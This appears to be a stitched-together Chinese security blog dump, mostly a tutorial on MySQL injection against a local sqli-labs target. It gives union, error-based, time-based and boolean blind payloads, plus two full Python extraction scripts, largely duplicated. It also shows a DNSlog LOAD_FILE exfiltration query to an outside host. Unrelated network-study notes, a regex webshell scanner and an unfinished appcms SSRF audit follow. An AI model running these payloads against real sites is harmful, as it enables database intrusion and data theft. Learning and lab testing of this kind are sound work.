mysql注入之dnslog盲注加速

#拼接域名
select concat(version(),’.0535code.com’) #返回 5.5.53.0535code.com

#注意
1.域名前缀长度限制在63个字符,解决办法是用mid()函数来获取。
2.域名前缀不支持一些特殊字符,如*,解决办法是用hex()或者其他加密函数,获取到数据后再解密。

#读取文件时会解析dns协议
load_file()

#使用T00ls dnslog,或者自己找别的。
您的查询记录是t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org(怎么使用,自己领悟)
#测试
ping t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org

mysql特殊性

#启动apache
D:\phpStudy\Apache\bin\httpd.exe

#启动mysql 5.5.53之后版本,5.5.53之前的版本不需要
D:\phpStudy\MySQL\bin>mysqld.exe –secure-file-priv=
或者配置文件my.ini加入 secure-file-priv=

#构造exp
SELECT LOAD_FILE(CONCAT(‘\\\\’,(select hex(user())),’.t00ls.052d281fb2a9087f771cb57f7d5f02ad.tu4.org\\abc’))

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

mysql注入之时间延迟注入

#时间延迟盲注 与 布尔类型盲注 相似

#睡眠函数
sleep()

#手工测试
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(0) –+
http://127.0.0.4/Less-1/index.php?id=1′ and sleep(10) –+
两者对比明显有延迟

# coding=utf-8
import requests
import time

#解决编码问题
import sys  
reload(sys)  
sys.setdefaultencoding('utf8')  


"""
取出特征
#if(条件,是,否),sleep放前面和后面的区别,放后面 条件不对就延迟是不机智的
#调试下面语句,说明如果 条件成立 则打开页面会出现延迟
#select if(ord(mid(version(),1,1))>=53,sleep(5),0)
"""

   
#sql盲注测试类
class Sql_bool():
    #主机头
    header = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding":"gzip, deflate, br",
        "Cookie":"PHPSESSID=op3mp10kotct1hvfa8a6g6ko14",
        "Connection":"close",
        "Upgrade-Insecure-Requests":"1",
    }
    #注入点
    host = "http://127.0.0.4/Less-1/index.php?id=1"

    #根据特征判断返回真假
    def html_bool(self,bool_sql):
        #传入布尔类型条件 bool_sql

        #拼接注入url
        #url = self.host + "\' and " + bool_sql + " --+"
        url = self.host + "\' and if(" + bool_sql + ",sleep(5),0) --+"
        print url


        ###############修改为布尔类型#################
        #记录开始时间
        time_star=time.time()
        #开始请求
        html = requests.get(url = url,headers = self.header).content
        #记录结束时间
        end_time=time.time()

        #取得打开页面时间差
        sleep_time = end_time - time_star
        #判断是否延迟

        #延迟时间不能太小,容易误报,也不能太大,时间较长
        if sleep_time>=5:
            print "success"
            return True
        else:
            print "error"
            return False


    #判断数据库版本确定索引表
    def get_version(self):
        #判断数据库版本 SELECT ord(mid(version(),1,1))
        #5的ascii码值是 53
        bool_sql = "ord(mid(version(),1,1))>=53"
        self.html_bool(bool_sql)

    #判断数据库用户权限
    def get_user_first(self):
        #判断数据库用户权限:
        #返回正常说明为root,这样是判断第一个字母r,可能是root账户,不能完全证明 root 权限,权限表Y
        #r的ascii码值是 114
        bool_sql = "ord(mid(user(),1,1))=114"
        self.html_bool(bool_sql)


    #判断数据库用户数量
    def get_user_count(self):
        bool_sql = "(select count(*) from mysql.user)=3"
        self.html_bool(bool_sql)


    #判断数据库用户长度
    def get_user_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(user())=14"
        self.html_bool(bool_sql)


    #判断数据库当前用户名
    def get_user(self):
        #定义返回的字符串
        result = ""
        #bool_sql = "ord(mid(user(),1,1))=1"
        for i in xrange(1,14+1):
            #bool_sql = "ord(mid(user(),1,1))=114" 取有效ascii码48,122
            for j in xrange(48,122):
                #理解mid函数,当 mid后是字符串,用ascii码转化为ascii码时取第一个字母的ascii码
                bool_sql = "ord(mid(user(),%d,14))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"用户名为:",result


    #判断数据库数量
    def get_db_count(self):
        bool_sql = "(select count(*) from information_schema.schemata)=15"
        self.html_bool(bool_sql)
        #使用 SELECT * FROM SCHEMATA limit 3,1 遍历表明
        # limit 从第几个开始,返回几个


    #判断数据库名长度
    def get_db_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(database())=8"
        self.html_bool(bool_sql)            


    #判断数据库名称 security
    def get_database(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,8+1):
            #取有效ascii码48,122
            for j in xrange(48,122):
                bool_sql = "ord(mid(database(),%d,8))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"数据库名为:",result

    #判断表名长度,上面跑出数据库了,security
    def get_table_len(self):
        #pass
        #select length(table_name) from information_schema.tables where table_schema='security' limit 0,1
        bool_sql = "(select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6"
        self.html_bool(bool_sql)

    #获取表名
    def get_table(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,6+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select table_name from information_schema.tables where table_schema='security' limit 0,1)   ,%d,6) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个表名为:",result      

    #获取字段名长度
    def get_columns_len(self):
        #pass
        #select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1
        bool_sql = "(select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)=2"
        self.html_bool(bool_sql)

    #获取字段名
    def get_columns(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,2+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select column_name from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)   ,%d,2) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个字段名为:",result        
   
    #获取字段内容,字段长度假设是5,按照上面方法获取字段内容长度
    def get_content(self):
        #pass
        #select id from emails limit 0,1
        #定义返回的字符串
        result = ""
        for i in xrange(1,5):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select id from emails limit 0,1)   ,%d,5) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一列第一个字段内容为:",result    
   
    #16进制获取中文数据
    #修改第二个字段为中文,获取盲注时 中文的内容,把email_id第一个字段值改为  你好
    def get_china_content(self):
        #pass
        #select hex(email_id) from emails limit 0,1 返回 C4E3BAC3
        #定义返回的字符串
        result = ""
        for i in xrange(1,10):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select hex(email_id) from emails limit 0,1)   ,%d,10) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"测试取中文内容的16进制为:",result
        #解16进制中文内容,在控制台打开显示    
        print "\xC4\xE3\xBA\xC3"
        #在中文与英文等混合的情况下,先用16个字母和特殊字符做对比,如果获取不到再用中文,sqlmap之所以跑出乱码,是在解码时没解好!
        #SELECT HEX(  '你是ss' ) + py测试乱码问题,解决sqlma编码问题
        #print "\xE4\xBD\xA0\xE6\x98\xAF".decode("utf")

       
    #提高sql注入效率
    #二分算法 使用(+多线程+dnslog)
    def BinarySearch(self,low,height,key):
        #强制类型转换
        low = int(low) #最小值
        height = int(height) #最大值
        #初始化 中间值
        mid = ''
        #消息循环
        while True :
            #获取中间值
            mid = (low+height)/2
            print u"长度",key,u" ------- 正在分值",mid,low,height  
            #分到最后时,最小值和最大值相等
            if mid == low :
                #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                result = chr(mid+1)
                print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                return True
            #判断取得值是否 小于等于最小值
            elif int(key) <= int(mid):
                #把中间值给最大值
                height = mid
            else :
                #如果不是的话把 中间值给最小值
                low = mid  

    #二分法获取数据库名实例
    def BinarySearch_update(self):
        #初始化结果
        global test
        test = ''

        #循环遍历9个长度的数据名
        for i in xrange(1,9):
            #强制类型转换
            low = 48 #最小值
            height = 122 #最大值
            #初始化 中间值
            mid = ''
            #消息循环
            while True :
                #获取中间值
                mid = (low+height)/2
                #sql标识,之前是等于,现在是小于等于 二分法
                bool_sql = "ord(mid(database(),%d,8))<=%d" % (i,mid)
                print u"长度9",u" ------- 正在分值",mid,low,height
                #time.sleep(1)  
                #分到最后时,最小值和最大值相等
                if mid == low :
                    #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                    result = chr(mid+1)
                    print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                    test = test + result
                    break
                    #return True
                #判断取得值是否 小于等于最小值
                elif self.html_bool(bool_sql):
                    #把中间值给最大值
                    height = mid
                else :
                    #如果不是的话把 中间值给最小值
                    low = mid
        else :
            print  test

    ##多线程+队列 提高速度,判断表前缀提高速度等等

test = Sql_bool()
#test.get_version() #获取版本号
#test.get_user_first() #获取数据库用户权限
#test.get_user_count() #获取数据库用户数量
#test.get_user_len() #获取数据库用户长度
#test.get_user() #获取数据库当前用户名
#test.get_db_count() #获取数据库数量
#test.get_db_len() #获取数据库长度
#test.get_database() #获取数据库名
#test.get_table_len() #获取表名长度
#test.get_table() #获取表名
#test.get_columns_len() #获取字段名长度
#test.get_columns() #获取字段名
#test.get_content() #获取第一列第一个字段内容
#test.get_china_content() #获取中文内容

#test.BinarySearch(0,127,55) #二分法快速查找实例
#test.BinarySearch_update() # 二分法获取数据库名实例

mysql注入之union联合查询注入

#union all 和 union 区别
union all是直接连接,取到得是所有值,记录可能有重复
union 是取唯一值,记录没有重复

#union 联合查询,前后字段数量应该保持一致,否则提示列数不一致
The used SELECT statements have a different number of columns

#依次测试,到3返回正常,说明有3列
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2 –+
http://127.0.0.4/Less-1/index.php?id=1′ union all select 1,2,3 –+

#怎么爆出数据呢?要id不存在,返回后面的值
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,2,3 –+

#可以看到显示字段的位置,把对应的字段换成以下函数,即可爆库

比如:
http://127.0.0.4/Less-1/index.php?id=1111′ union all select 1,database(),3 –+

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
select count(*) from information_schema.schemata #返回数据库数量
database() #返回数据库名
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

#####使用 order by 判断列数,也可结合其他注入方式结合利用#

#判断数据库当前表有几列
http://127.0.0.4/Less-1/index.php?id=1′ order by 1,2,3,4 –+

拼接起来就是
SELECT * FROM users WHERE id=’1′ order by 1,2,3,4 –+’ LIMIT 0,1

当是三个字段正常,增加到4则报错,第四个不存在
SELECT * FROM users WHERE id=’1′ order by 1,2,3

mysql注入之报错注入

1.floor()

#取整函数floor()
floor(5.1) 返回5

#查看rand()函数返回值,*2取整永远是1个整数,在获取时去掉最后一个字符即可
select rand(0),floor(rand(0)*2)

#查看concat()连接函数
select concat(user(),floor(rand(0)*2)) 返回 root@localhost0

#构造报错语句
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a

#拼接sql语句到后端

http://127.0.0.4/Less-1/index.php?id=1′ and (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a) –+

#汇总常用函数
version() #获取mysql版本号
user() #返回当前用户名
select count(*) from mysql.user #返回用户数量
Length(user()) #返回用户名长度
select count(*) from information_schema.schemata #返回数据库数量
Length(database()) #返回数据库长度
database() #返回数据库名
select length(table_name) from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名长度
select table_name from information_schema.tables where table_schema=’security’ limit 0,1 #获取第一个表名
select length(column_name) from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段长度
select column_name from information_schema.columns where table_schema=’security’ and TABLE_NAME=’emails’ limit 0,1 #获取第一个字段名
select id from emails limit 0,1 #获取第一个字段名

2.extractvalue()

#函数原型
#EXTRACTVALUE (XML_document, XPath_string);
第一个参数:XML_document是String格式
第二个参数:XPath_string (Xpath格式的字符串)

#使用方式
select extractvalue(“666“, “/html”) #返回666

#使用extractvalue报错,以16进制0x7e,就是~符号,去掉头~和尾~获取中间值
select (extractvalue(1,concat(0x7e,(select user()),0x7e)))

#构造报错语句
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

#拼接sql语句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (extractvalue(1,concat(0x7e,(select user()),0x7e))) –+

3.updatexml()

#函数原型,更新xml
#UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式
第二个参数:XPath_string
第三个参数:new_value

#与 extractvalue() 函数区别是 第三个参数替换了节点字符串,返回值是整个改变后的XML文档

#使用方式
select updatexml(“666“, “/html”,”888″) #返回888

#使用updatexml报错,以16进制0x7e,就是~符号,去掉头~和尾~获取中间值
select (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#构造报错语句
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1))

#拼接sql语句到后端
http://127.0.0.4/Less-1/index.php?id=1′ and (updatexml(1,concat(0x7e,(select user()),0x7e),1)) –+

============================================================
还有其他的报错注入,原理都是类似的,构造报错语句报错显示信息;

mysql注入之布尔类型盲注py脚本

查找布尔类型标识,取出特征,sql布尔类型盲注测试类

手工+脚本自动化注入原理

#test.get_version() #获取版本号
#test.get_user_first() #获取数据库用户权限
#test.get_user_count() #获取数据库用户数量
#test.get_user_len() #获取数据库用户长度
#test.get_user() #获取数据库当前用户名
#test.get_db_count() #获取数据库数量
#test.get_db_len() #获取数据库长度
#test.get_database() #获取数据库名
#test.get_table_len() #获取表名长度
#test.get_table() #获取表名
#test.get_columns_len() #获取字段名长度
#test.get_columns() #获取字段名
#test.get_content() #获取第一列第一个字段内容
#test.get_china_content() #获取中文内容

#test.BinarySearch(0,127,55) #二分法快速查找实例
#test.BinarySearch_update() # 二分法获取数据库名实例

# coding=utf-8
import requests
import time

#解决编码问题
import sys  
reload(sys)  
sys.setdefaultencoding('utf8')  


"""
取出特征
1' and '1'='1  #返回真,Password
1' and '1'='2  #返回假
这里条件 and or xor 根据实际逻辑来
"""

   
#sql盲注测试类
class Sql_bool():
    #主机头
    header = {
        "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:53.0) Gecko/20100101 Firefox/53.0",
        "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
        "Accept-Language":"zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3",
        "Accept-Encoding":"gzip, deflate, br",
        "Cookie":"PHPSESSID=op3mp10kotct1hvfa8a6g6ko14",
        "Connection":"close",
        "Upgrade-Insecure-Requests":"1",
    }
    #注入点
    host = "http://127.0.0.4/Less-1/index.php?id=1"

    #根据特征判断返回真假
    def html_bool(self,bool_sql):
        #传入布尔类型条件 bool_sql

        #拼接注入url
        url = self.host + "\' and " + bool_sql + " --+"
        print url
        html = requests.get(url = url,headers = self.header).content
        if "Password" in html:
            print "success"
            return True
        else:
            print "error"
            return False


    #判断数据库版本确定索引表
    def get_version(self):
        #判断数据库版本 SELECT ord(mid(version(),1,1))
        #5的ascii码值是 53
        bool_sql = "ord(mid(version(),1,1))>=53"
        self.html_bool(bool_sql)

    #判断数据库用户权限
    def get_user_first(self):
        #判断数据库用户权限:
        #返回正常说明为root,这样是判断第一个字母r,可能是root账户,不能完全证明 root 权限,权限表Y
        #r的ascii码值是 114
        bool_sql = "ord(mid(user(),1,1))=114"
        self.html_bool(bool_sql)


    #判断数据库用户数量
    def get_user_count(self):
        bool_sql = "(select count(*) from mysql.user)=3"
        self.html_bool(bool_sql)


    #判断数据库用户长度
    def get_user_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(user())=14"
        self.html_bool(bool_sql)


    #判断数据库当前用户名
    def get_user(self):
        #定义返回的字符串
        result = ""
        #bool_sql = "ord(mid(user(),1,1))=1"
        for i in xrange(1,14+1):
            #bool_sql = "ord(mid(user(),1,1))=114" 取有效ascii码48,122
            for j in xrange(48,122):
                #理解mid函数,当 mid后是字符串,用ascii码转化为ascii码时取第一个字母的ascii码
                bool_sql = "ord(mid(user(),%d,14))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"用户名为:",result


    #判断数据库数量
    def get_db_count(self):
        bool_sql = "(select count(*) from information_schema.schemata)=15"
        self.html_bool(bool_sql)
        #使用 SELECT * FROM SCHEMATA limit 3,1 遍历表明
        # limit 从第几个开始,返回几个


    #判断数据库名长度
    def get_db_len(self):
        #判断数据库用户长度
        #返回的是用户@主机名的长度 root@localhost
        bool_sql = "Length(database())=8"
        self.html_bool(bool_sql)            


    #判断数据库名称 security
    def get_database(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,8+1):
            #取有效ascii码48,122
            for j in xrange(48,122):
                bool_sql = "ord(mid(database(),%d,8))=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"数据库名为:",result

    #判断表名长度,上面跑出数据库了,security
    def get_table_len(self):
        #pass
        #select length(table_name) from information_schema.tables where table_schema='security' limit 0,1
        bool_sql = "(select length(table_name) from information_schema.tables where table_schema='security' limit 0,1)=6"
        self.html_bool(bool_sql)

    #获取表名
    def get_table(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,6+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select table_name from information_schema.tables where table_schema='security' limit 0,1)   ,%d,6) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个表名为:",result      

    #获取字段名长度
    def get_columns_len(self):
        #pass
        #select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1
        bool_sql = "(select length(column_name) from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)=2"
        self.html_bool(bool_sql)

    #获取字段名
    def get_columns(self):
        #定义返回的字符串
        result = ""
        for i in xrange(1,2+1):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select column_name from information_schema.columns where table_schema='security' and TABLE_NAME='emails' limit 0,1)   ,%d,2) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一个字段名为:",result        
   
    #获取字段内容,字段长度假设是5,按照上面方法获取字段内容长度
    def get_content(self):
        #pass
        #select id from emails limit 0,1
        #定义返回的字符串
        result = ""
        for i in xrange(1,5):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select id from emails limit 0,1)   ,%d,5) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"第一列第一个字段内容为:",result    
   
    #16进制获取中文数据
    #修改第二个字段为中文,获取盲注时 中文的内容,把email_id第一个字段值改为  你好
    def get_china_content(self):
        #pass
        #select hex(email_id) from emails limit 0,1 返回 C4E3BAC3
        #定义返回的字符串
        result = ""
        for i in xrange(1,10):
            #取有效ascii码48,122
            for j in xrange(48,122):        
                bool_sql = "ord(mid(   (select hex(email_id) from emails limit 0,1)   ,%d,10) )=%d" % (i,j)
                #如果返回真
                if self.html_bool(bool_sql):
                    #打印asscii码对应的字符串
                    result = result + chr(j)
                    print j,chr(j),result
        else:
            print u"测试取中文内容的16进制为:",result
        #解16进制中文内容,在控制台打开显示    
        print "\xC4\xE3\xBA\xC3"
        #在中文与英文等混合的情况下,先用16个字母和特殊字符做对比,如果获取不到再用中文,sqlmap之所以跑出乱码,是在解码时没解好!
        #SELECT HEX(  '你是ss' ) + py测试乱码问题,解决sqlma编码问题
        #print "\xE4\xBD\xA0\xE6\x98\xAF".decode("utf")

       
    #提高sql注入效率
    #二分算法 使用(+多线程+dnslog)
    def BinarySearch(self,low,height,key):
        #强制类型转换
        low = int(low) #最小值
        height = int(height) #最大值
        #初始化 中间值
        mid = ''
        #消息循环
        while True :
            #获取中间值
            mid = (low+height)/2
            print u"长度",key,u" ------- 正在分值",mid,low,height  
            #分到最后时,最小值和最大值相等
            if mid == low :
                #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                result = chr(mid+1)
                print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                return True
            #判断取得值是否 小于等于最小值
            elif int(key) <= int(mid):
                #把中间值给最大值
                height = mid
            else :
                #如果不是的话把 中间值给最小值
                low = mid  

    #二分法获取数据库名实例
    def BinarySearch_update(self):
        #初始化结果
        global test
        test = ''

        #循环遍历9个长度的数据名
        for i in xrange(1,9):
            #强制类型转换
            low = 48 #最小值
            height = 122 #最大值
            #初始化 中间值
            mid = ''
            #消息循环
            while True :
                #获取中间值
                mid = (low+height)/2
                #sql标识,之前是等于,现在是小于等于 二分法
                bool_sql = "ord(mid(database(),%d,8))<=%d" % (i,mid)
                print u"长度9",u" ------- 正在分值",mid,low,height
                #time.sleep(1)  
                #分到最后时,最小值和最大值相等
                if mid == low :
                    #把中间值转换为ascii嘛输出,因为<= 所以需要 +1
                    result = chr(mid+1)
                    print time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),"[+]",mid+1,result
                    test = test + result
                    break
                    #return True
                #判断取得值是否 小于等于最小值
                elif self.html_bool(bool_sql):
                    #把中间值给最大值
                    height = mid
                else :
                    #如果不是的话把 中间值给最小值
                    low = mid
        else :
            print  test

    ##多线程+队列 提高速度,判断表前缀提高速度等等

test = Sql_bool()
#test.get_version() #获取版本号
#test.get_user_first() #获取数据库用户权限
#test.get_user_count() #获取数据库用户数量
#test.get_user_len() #获取数据库用户长度
#test.get_user() #获取数据库当前用户名
#test.get_db_count() #获取数据库数量
#test.get_db_len() #获取数据库长度
#test.get_database() #获取数据库名
#test.get_table_len() #获取表名长度
#test.get_table() #获取表名
#test.get_columns_len() #获取字段名长度
#test.get_columns() #获取字段名
#test.get_content() #获取第一列第一个字段内容
#test.get_china_content() #获取中文内容

#test.BinarySearch(0,127,55) #二分法快速查找实例
#test.BinarySearch_update() # 二分法获取数据库名实例

网络工程师学习笔记

网络工程师学习笔记,唉,虽然不考了,备忘下吧

CRC效验码

X的4次方 + X的一次方 + 1

1.有次方的写1,没有的写0,最高次方为4,算出4个二进制数;
2.靠左减法;(模二除法 相同为0,不相同为1)
3.把余数补后面去;

子网掩码计算:
https://zhidao.baidu.com/question/332665043.html

1.将主机数目 从十进制数转化为二进制数,二进制是N位数;
2.N位数 就是 N个1,一共8位,其余用0补全;
3.把上面的数转换成十进制,对应网段位置。

ip地址 = 网络地址 + 主机地址;
网络地址是 ip地址的一部分,是代表一个子网
192.168.1.*

二进制 逻辑计算方法

按位与:只有1和1是1,其他都是0;真 True
按位或,只有0和0是0,其他都是1;假 False
网络地址 = IP地址的二进制 与 子网掩码的二进制 (为0和255的保持不变)

广播地址 = 网络地址 (二进制 1后面的0替换为1)
子网范围 就是 网络地址 -》 广播地址

子网能容纳的最大主机数: 广播地址 0 替换为1个个数为N,2的N次方 – 2(广播地址+网络地址)

原码:0代表整数,1代表负数,的符号位,后面不变
反码:正数不变,负数符号位不变,其他后面取反
补码:正数不变,负数符号位不变,加 1
移码:符号位取反

python脚本代码审计webshell及挂马

闲来无事逛了下腾讯SRC,发现有个小工具,查杀webshell的,用perl写的,蛮早的了,2013年的了,于是用python也写了一个,方便
利用python脚本查webshell及挂马蛮方便的,这个脚本的功能,notepad++也可以实现,不过脚本比较灵活,方便扩展,比如扩展文件特征去识别也都可以,代码如下:

#!/usr/bin/python  
#coding:utf8
#author:ly55521

import os
import re
import sys
import time

reload(sys)
sys.setdefaultencoding('utf-8')

#定义代码目录
BASE_PATH = "D:\WWW"
#设定文件对象
file_object = os.walk(BASE_PATH)

#扩展名搜索过滤开关
extension_bool = 0 #默认0不开启,全部文件搜索,1开启
#要搜索包括的扩展名
extension = [".php",".asp",".jsp",]

#php webshell str
php_code_array = [
  r'\beval\(.*\)',
  r'\bassert\(.*\)',
  r'\bsystem\(.*\)',
  r'\bpassthru\(.*\)',
  r'\bexec\(.*\)',
  r'\bpcntl_exec\(.*\)',
  r'\bshell_exec\(.*\)',
  r'\bpopen\(.*\)',
  r'\bproc_open\(.*\)',
  r'\bpreg_replace\(.*\)',
  r'\bcreate_function\(.*\)',
  r'\bob_start\(.*\)',
  r'\barray_map\(.*\)',
  #r'(include|include_once|require|require_once)',
  #r'(phpspy|4ngel|wofeiwo|c99shell|webshell|php_nst|reDuh)',
]
asp_code_array = [
  '',
]
#asp.net webshell str
aspx_code_array = [
  '',
]
#jsp webshell str
jsp_code_array = [
  '',
]


def search_webshell(file_path):
    with open(file_path,'r') as f: #"D:\\phpStudy\\WWW\\1.php"
        #每次读取文件一行
        line = f.readline()
        #记录行数
        i = 1
        #循环遍历文件
        while line:
            #打印行数和行数内容
            #print i,"==>",line,
            #读取行文件
            line = f.readline()  
            #增加空行处理
            #print line
            #if line:
            #  print "yes"
            #else:
            #  print "no"
            #time.sleep(2)
            #
            #
            #记录行数
            i = i+1
            if line:
              #判断是否存在
              for re_str in php_code_array:
                  #print type(re_str)
                  code_Pattern = re.compile(re_str,re.I)
                  match = code_Pattern.search(line)
                  if match:
                      print u"文件路径:",file_path,u"文件行数:",i,"--->",u"匹配关键字:",re_str
                      print u"文件内容:",line
                      #写入文件日志记录
                      with open('access.log',"a") as log:
                        log.write("文件路径:"+file_path+"文件行数:"+str(i)+"--->"+"匹配关键字:"+re_str+
                          "文件内容:"+line+"\n")

if __name__ == '__main__':
    #遍历目录
    for path,dirlist,filelist in file_object:
        for filename in filelist:
            #print os.path.join(path,filename)
            #处理扩展名
            if extension_bool:
              #开启扩展名过滤时,判断文件扩展名是否在列表里
              if os.path.splitext(filename)[-1] in extension:
                #print os.path.join(path,filename)
                search_webshell(os.path.join(path,filename))
            else:
              #默认未开启扩展名过滤,全部文件搜索
              search_webshell(os.path.join(path,filename))

腾讯SRC perl原版链接:https://security.tencent.com/index.php/opensource/detail/2
CF_HB推荐个更完美的东东:https://github.com/xiaoqin00/00scanner/tree/master/00Scanner/findShell/FindShell

代码审计之 appcms SSRF 绕过漏洞

哎,之前的不发都快忘记了,觉得还是发上来吧。

官网:http://www.appcms.cc/
演示站点:http://www.topber.com/
下载最新安装包:http://www.appcms.cc/download/appcms_2.0.101.zip

安装好后看 pic.php 文件代码如下:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']);
    $img_url = base64_decode($img_url);
    $img_url=strtolower(trim($img_url));
    $_GET['type']=strtolower(trim($_GET['type']));
   
    $urls=explode('.',$img_url);
    if(count($urls)<=1) die('image type forbidden 0');
    $file_type=$urls[count($urls)-1];
   
    if(in_array($file_type,array('jpg','gif','png','jpeg'))){}else{ die('image type foridden 1');}

    if(strstr($img_url,'php')) die('image type forbidden 2');

    if(strstr($img_url,chr(0)))die('image type forbidden 3');
    if(strlen($img_url)>256)die('url too length forbidden 4');

    header("Content-Type: image/{$_GET['type']}");
    readfile($img_url);
   
} else {
    die('image not find!');
}

?>

下面一行一行分析:

<?php
if(isset($_GET['url']) && trim($_GET['url']) != '' && isset($_GET['type'])) {
    $img_url=trim($_GET['url']); //去掉空白字符
    $img_url = base64_decode($img_url); //把url参数做base64解码、说明传入时是base64编码的
    $img_url=strtolower(trim($img_url));//把img_url转化为小写
    $_GET['type']=strtolower(trim($_GET['type']));//把type转为小写
   
    $urls=explode('.',$img_url); //使用 . 分割 img_url,如果是1.png
if(count($urls)<=1) die('image type forbidden 0');//如果urls数组小于或者等于1,则终止输出image type forbidden 0

///pic.php?url=test&type=png,随便试试看

//也就是说首先要绕过这个流程,就必须要urls数组大于1才可以,也就是.做base64编码,然后.的左右要都不为空才可以;
//把 http://test.com 做base64编码后的值是 aHR0cDovL3Rlc3QuY29t 然后用这个值试试可否绕过第一部流程;
//访问 /pic.php?url=aHR0cDovL3Rlc3QuY29t&type=png

// 走到下面的流程了,继续看下面的代码;

